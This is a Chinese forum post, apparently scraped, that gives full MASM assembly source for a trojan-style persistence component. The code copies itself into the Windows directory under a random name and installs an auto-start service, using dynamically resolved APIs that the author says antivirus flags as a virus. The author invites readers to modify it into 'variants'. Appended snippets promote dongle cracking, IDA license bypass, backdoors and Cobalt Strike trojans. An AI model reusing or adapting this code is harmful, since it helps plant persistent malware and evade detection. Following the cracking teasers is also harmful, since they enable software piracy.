老王教你分析远控木马是怎样工作的


来是一个朋友给我,要我找下后门的,可是这远控太强大了,而且作者的汇编基础非常强,就没找到,倒是无巧不成书的,发现了他的隐藏技术,瞬间感觉喜欢上
了,于是写成了win32
分享下,3分钟前,主动防御会拦截,但是电脑重启后  程序可以运行,现在又测试了下,已经变成高危病毒了,无语的360啊。。。源码如下,各位可以根据
需要修改:

[AppleScript] 纯文本查看 复制代码

?


001

002

003

004

005

006

007

008

009

010

011

012

013

014

015

016

017

018

019

020

021

022

023

024

025

026

027

028

029

030

031

032

033

034

035

036

037

038

039

040

041

042

043

044

045

046

047

048

049

050

051

052

053

054

055

056

057

058

059

060

061

062

063

064

065

066

067

068

069

070

071

072

073

074

075

076

077

078

079

080

081

082

083

084

085

086

087

088

089

090

091

092

093

094

095

096

097

098

099

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317


.386

.model flat,stdcall

option casemap:none

include        windows.inc

include        user32.inc

includelib        user32.lib

include kernel32.inc

includelib        kernel32.lib

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-函数名称-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

.const

sz11        db        "程序已经在windows目录下了",0

sz22        db        "标题",0

szUnlockService        db        "UnlockServiceDatabase",0

szExe        db        "\%c%c%c%c%c%c.exe",0

szTest        db        ".Test1",0

szCunMang        db        ".CunMang1",0

szMiaoShu        db        "BingDuMiaoShu",0

szGetModuleFileName        db        "GetModuleFileNameA",0

szGetWindowsDirectory        db        "GetWindowsDirectoryA",0

szCopyFile        db        "CopyFileA",0

szOpenSCM        db        "OpenSCManagerA",0

szCloseServiceHandle        db        "CloseServiceHandle",0

szStartService        db        "StartServiceA",0

szChangeService        db        "ChangeServiceConfig2A",0

szAdvapi32        db "ADVAPI32.DLL",0

szCreateService        db        "CreateServiceA",0

szGetTickCount        db        "GetTickCount",0

szKernel        db        "kernel32.dll",0

szLockService        db        "LockServiceDatabase",0

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-函数地址-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

.data

szFileName        db        128 dup (?)        ;当前路径

szWindowDirect        db        128 dup (?)        ;windows目录路径

szNullFileName        db        128 dup (?)        ;windows目录路径,这个加上了exe

szMuBiaoName        db        128 dup (?)        ;清0的内存

szTime        dd        1

szExeBuffer        db        128 dup        (?)

HandleData        dd        ?

HandleCreateService        dd        ?

szLocalService1        dd        ?

addrKernel        dd        ?

addrGetModuleFileName        dd        ?

addrGetWindowsDirectory        dd        ?

addrCopyFile        dd        ?

addrAdv        dd        ?

addrOpenSCM        dd        ?

addrOpenService        dd        ?

addrCreateService        dd        ?

addrCloseServiceHandle        dd        ?

addrLockService        dd        ?

addrUnlockService        dd        ?

addrChangeService        dd        ?

addrStartService        dd        ?

addrGetTickCount        dd        ?

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-代码段-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

.code

_SuanFa proc  szVar

push esi

call addrGetTickCount

mov  esi,eax        ;时间的返回值

mov  eax,szTime

imul eax,eax,343FDh

add  eax,269EC3h

mov  szTime,eax        ;变量的值改变

sar  eax,10h

and  eax,7FFFh

add  eax,3h        ;eax的值也改变

xor  edx,edx        ;高位是0  因为除以的是32位数值

imul eax,esi        ;esi是原来时间函数的返回值,这里与算法后的eax想乘

div  szVar

pop  esi

mov  eax,edx        ;余数返回给eax

ret

_SuanFa endp

start :

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=这是ADVAPI32.DLL中的敏感函数-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

push offset szAdvapi32

call LoadLibrary

mov  addrAdv,eax        ;得到ADVAPI32.dll

push offset szOpenSCM

push addrAdv

call GetProcAddress        ;得到OpenSCManager

mov  addrOpenSCM,eax

push offset szCloseServiceHandle

push addrAdv

call GetProcAddress        ;得到CloseService

mov  addrCloseServiceHandle,eax

push offset szStartService

push addrAdv

call GetProcAddress

mov  addrStartService,eax        ;得到StartService

push offset szLockService

push addrAdv

call GetProcAddress

mov addrLockService,eax        ;得到LockService

push offset szUnlockService

push addrAdv

call GetProcAddress

mov addrUnlockService,eax        ;得到UnlockServiceDatabase

push offset szChangeService

push addrAdv

call GetProcAddress

mov  addrChangeService,eax        ;得到ChangeServiceConfig2A

push offset szCreateService

push addrAdv

call GetProcAddress

mov addrCreateService,eax        ;得到CreateService

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=这是kernel32中的敏感函数-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

push offset szKernel

call GetModuleHandle

mov  addrKernel,eax        ;得到kernel32的句柄

push offset szGetModuleFileName

push addrKernel

call GetProcAddress

mov  addrGetModuleFileName,eax        ;得到GetModuleFile

push offset szGetWindowsDirectory

push addrKernel

call GetProcAddress

mov  addrGetWindowsDirectory,eax ;得到GetWindowsDirectory

push offset szCopyFile

push addrKernel

call GetProcAddress

mov  addrCopyFile,eax ;得到CopyFile

push offset szGetTickCount

push addrKernel

call GetProcAddress

mov addrGetTickCount,eax        ;得到GetTickCount

push 128

push offset szFileName

push NULL

call addrGetModuleFileName        ;返回值是名字的长度,名称已经放到了缓冲区

push 128

push offset szWindowDirect

call addrGetWindowsDirectory        ;得到windoes目录,如果是system32 则是GetSystemDirectory

push 128

push offset szNullFileName

call addrGetWindowsDirectory        ;再次得到windows目录

mov edi,offset szWindowDirect        ;比较字符串中的内容

mov ebx,edi

mov ecx,128 ;比较FFFF  FFFF次

mov al,0        ;比较的字符是0

cld

repne scasb        ;当CX=0  或者 ZF=1 就退出循环

sub edi,ebx        ;此时edi就是字符长度

sub edi,1        ;减去字符串结尾的0

mov ecx,edi

mov esi,offset szFileName        ;源字符串

mov edi,offset szWindowDirect        ;目的字符串

s:        mov al,[esi]

mov bl,[edi]

cmp al,bl

jnz WindowsName        ;如果不在windows目录下,就开始复制到windows下面了

inc esi

inc edi

loop s

jmp  _Service        ;能走到这一步,代表已经比较完了,字符串肯定相等,就开始服务了

WindowsName:        ;如果已经在windows目录下了,就进行设置服务函数

push 1Ah

call _SuanFa

mov  ecx,1Ah

push 61h

pop  edi

add  eax,edi

push eax        ;第一个字符

push 1Ah

call _SuanFa

mov  ecx,1Ah

add  eax,edi

push eax        ;第二个字符

push 1Ah

call _SuanFa

mov  ecx,1Ah

add  eax,edi

push eax        ;第三个字符

push 1Ah

call _SuanFa

mov  ecx,1Ah

add  eax,edi

push eax        ;第四个字符

push 1Ah

call _SuanFa

mov  ecx,1Ah

add  eax,edi

push eax        ;第五个字符

push 1Ah

call _SuanFa

mov  ecx,1Ah

add  eax,edi

push eax        ;第六个字符

push  offset szExe

push  offset szExeBuffer

call  wsprintf

invoke lstrcat,offset szNullFileName,offset szExeBuffer

push TRUE

push offset szNullFileName

push offset szFileName

call addrCopyFile        ;开始复制

invoke RtlMoveMemory,offset szFileName,offset szMuBiaoName,120        ;内存清零

invoke RtlMoveMemory,offset szFileName,offset szNullFileName,120        ;填充新的路径

invoke MessageBox,NULL,offset szNullFileName,offset szWindowDirect,MB_OK

jmp Windows

_Service:        invoke MessageBox,NULL,offset sz11,offset sz22,MB_OK

Windows:

push SC_MANAGER_ALL_ACCESS        ;OD中这个显示的是数值F003F,那么肯定有朋友要知道我是怎么知道这个宏的,很简单,载入IDA,右键Use Stadard Symbolic....

push NULL        ;如果该指针为NULL ,该ServicesActive数据库默认情况下打开。

push NULL        ;如果该指针为NULL ,或者如果它指向一个空字符串,函数连接到服务控制管理器在本地计算机上。

call addrOpenSCM        ;函数建立了一个连接到服务控制管理器,并打开指定的数据库。

mov HandleData,eax        ;如果函数成功,返回值是一个句柄指定的服务控制管理器数据库

mov edi,eax        ;先保存起来,因为参数需要eax

xor ebx,ebx

cmp edi,ebx        ;测试返回值

jz  _exit

mov eax,ebx

mov ebx,eax

xor ebx,ebx

push ebx

push ebx

push ebx

push ebx

push ebx

push offset szFileName

push SERVICE_ERROR_NORMAL

push SERVICE_AUTO_START

push SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS

push SERVICE_ALL_ACCESS

push offset szCunMang

push offset szTest

push edi

call addrCreateService        ;创建一个服务对象并且把它加入到服务管理数据库中

mov HandleCreateService,eax        ;保存句柄

push edi

call addrLockService        ;锁定数据库

mov  szLocalService1,eax

push offset szMiaoShu

push 1

push 0

call addrChangeService

push szLocalService1

call addrUnlockService

push 0

push 0

push 0

call addrStartService

_exit:

invoke ExitProcess,NULL

end start

很简单,没有什么危害性操作,只是弹出个对话框提示下,一天一夜逆出来的,很累,再加上360的捣乱,实在没心情重写了,各位看懂后,就写个变形的吧,唉,喝豆奶粉补充下营养去。。。(只限技术交流)

时间: 2024-10-11 01:27:18

老王教你分析远控木马是怎样工作的的相关文章

控制指令高达二十多种:远控木马Dendoroid.B分析报告( 转)

控制指令高达二十多种:远控木马Dendoroid.B分析报告 IT社区推荐资讯 - ITIndex.net Apr 24 近期,360团队截获了一款功能强大的专业间谍软件,它可以通过PC端远程控制中招用户的手机,控制指令高达二十多种,窃取用户手机通讯录,短信,照片及其它重要隐私数据.这个远控木马与去年知名的Android.Dendoroid木马家族手段非常相似,所以我们将其命名为 Android.Dendoroid.B. 一.木马Android受控端恶意行为分析 ‍‍ 1.释放文件,隐藏图标,启

老王教你永不会错的测量坐标方位角计算方法

看完这篇测量坐标方位角计算的文章 队长再也不怕我的内业工作了. 有的同志对课本的方位角概念理解的非常透彻,但是实际工作中为什么老是出错呢?也许是当时的现场环境因素,也许突然脑子混了,但我觉得 更重要的是没有掌握我老王的这种对方位角的理解. 俺的这种理解肯定并非我的原创,只是我的理解再加上整理得出. 那么今天教大家一个我自认为永远不会算错方位角的方法. 有时候我们平时一些不是专有名词却常出现在耳边的方位角 例如: 1.坐标方位角 2.定向后视方位角 3.导线方位角 4.线路方位角 下面的视频将会介

老王教您怎么做cass7.1 8.0 9.1所有系列的复制狗 加密狗 破解狗

cass7.1 8.0 9.1所有系列的复制狗 加密狗 破解狗本来是出于好奇看到网上有这样的东西,学了下感觉挺简单的,如果你是cass的初学者想仅仅是想学习这个软件,不想花大价格购买正版的,这个是可以学习用的. 需要喜欢的版本cad,和cass(这里我选择cad2006和cass9.1,cad2006安装快) 第一步安装cad 安装cad2006,不选择高版本的是因为cass9.1适合cad2010以下,cad2010安装慢,cad2006很快. 但是cad2006安装在win7 8上需要兼容安

老王教你怎样解密分析窃取QQ号的过程

具体现象 部分网吧发现QQ木马盗号的现象,主要是体现着以下几点: 1.木马执行不规律,木马行为与策略相关联. 2.就了解到的情况来看,感染QQ2013为主. 3.破坏QQ文件,全局dll注入.修改微软官方模块rasman.dll,使系统指向假的rasman.dll,执行完病毒代码之后再指向真的rasmanorg.dll. 4.QQ被破坏,按登录键进程直接退出. 相关文件 暂时查到病毒下载器为C:\windows\debug\QQprotect.exe 病毒主体应该是:C:\programfile

【原创】一次远控木马分析

病毒来源:从VPS上发现此木马 提取样本后分析 文件名:vister.exe MD5:30866adc2976704bca0f051b5474a1ee 此处创建了一个进程 申明了一个2800大小的Space.buffer 并将地址mov到5123EA08 导入win32 api 创建了文件,继续走. Loadlibrary加载了msvcrt.dll,获取memcpy的函数地址. 这里调用了大量win32 API Manifest 创建打开config.cnt文件 在路径C:\WINDOWS\He

老王教你怎样快速分析恶意代码

工欲善其事,必先利其器.希望这个帖子能为有兴趣进入反病毒行业的朋友提供一些基本信息. 先说说硬件:条件允许的情况下,2条不同网络运营商提供的线路,2台或以上的电脑,具体配置自己感觉满意就行虽然用虚拟机也可以,但难免某些恶意代码有虚拟机检测机制,所以能用真机就尽量用了 接下来是必备软件:Windows XP(别嫌弃老,老有老的好处,轻便+省事)IDA Pro(虽然市面上还有别的反汇编工具,一是因为IDA强大,二是因为反病毒行业必备,如果哪位兄弟非要用别的,面试时被BS千万别说没提醒过.另外 Hex

老王教你怎样干掉局域网的IDA验证

IDA 6.6 泄露了一段时间了,当天就有很多"去掉IDA局域网验证"的补丁出现~~网友们真的是好热心嚎~~~ 作为吾爱破解的一员,更喜欢自己动手呢~~~ 当检测到局域网中其他人也在用同一授权的IDA是,它会弹一个框 好,我们就从字符串下手, 我们发现了这个字符串 我们看看,哪个函数调用了"anotherCopy_sub_54E980",是这个 "recvfrom"?原来是通过udp,ida在局域网中互相通信,来验证的. 多回溯几层,验证过程浮现

Python3实现ICMP远控后门(上)

这几天一直在研究远控木马的一些通信协议,比如TCP,UDP,ICMP,DNS,HTTP等等,对于TCP,UDP这两种就不讲解了,因为太常见了. 大家可能对采用ICMP,DNS的木马不是很熟悉,其实这两种协议在木马通信上很流行,特点是比较隐蔽,不容易被封锁.HTTP协议主要是用在以大型网站作为C&C服务器的场景,例如之前就有使用twitter作为 C&C服务器. 本次就以ICMP协议进行分析,并使用Python开发出一个ICMP远控后门,在写这篇文章的之前,我感觉大家对ICMP协议肯定不会很

Cobalt Strike入门教程-通过exe木马实现远控

Cobalt Strike(简称CS)有很多功能,这篇文章主要介绍最基本的功能:通过exe木马实现远程控制. CS分为两部分:客户端和Team Server服务端.这两部分都依赖Java 1.8,所以运行CS程序前要安装JRE. 分享一个Cobalt Strike v3.8的试用版,可长期试用.百度网盘:https://pan.baidu.com/s/1nXq58froWt0mu3q8I4HsSQ,提取码:fdvb. 第1步:启动CS服务端 将下载的CS程序放到Kali中,执行./teamser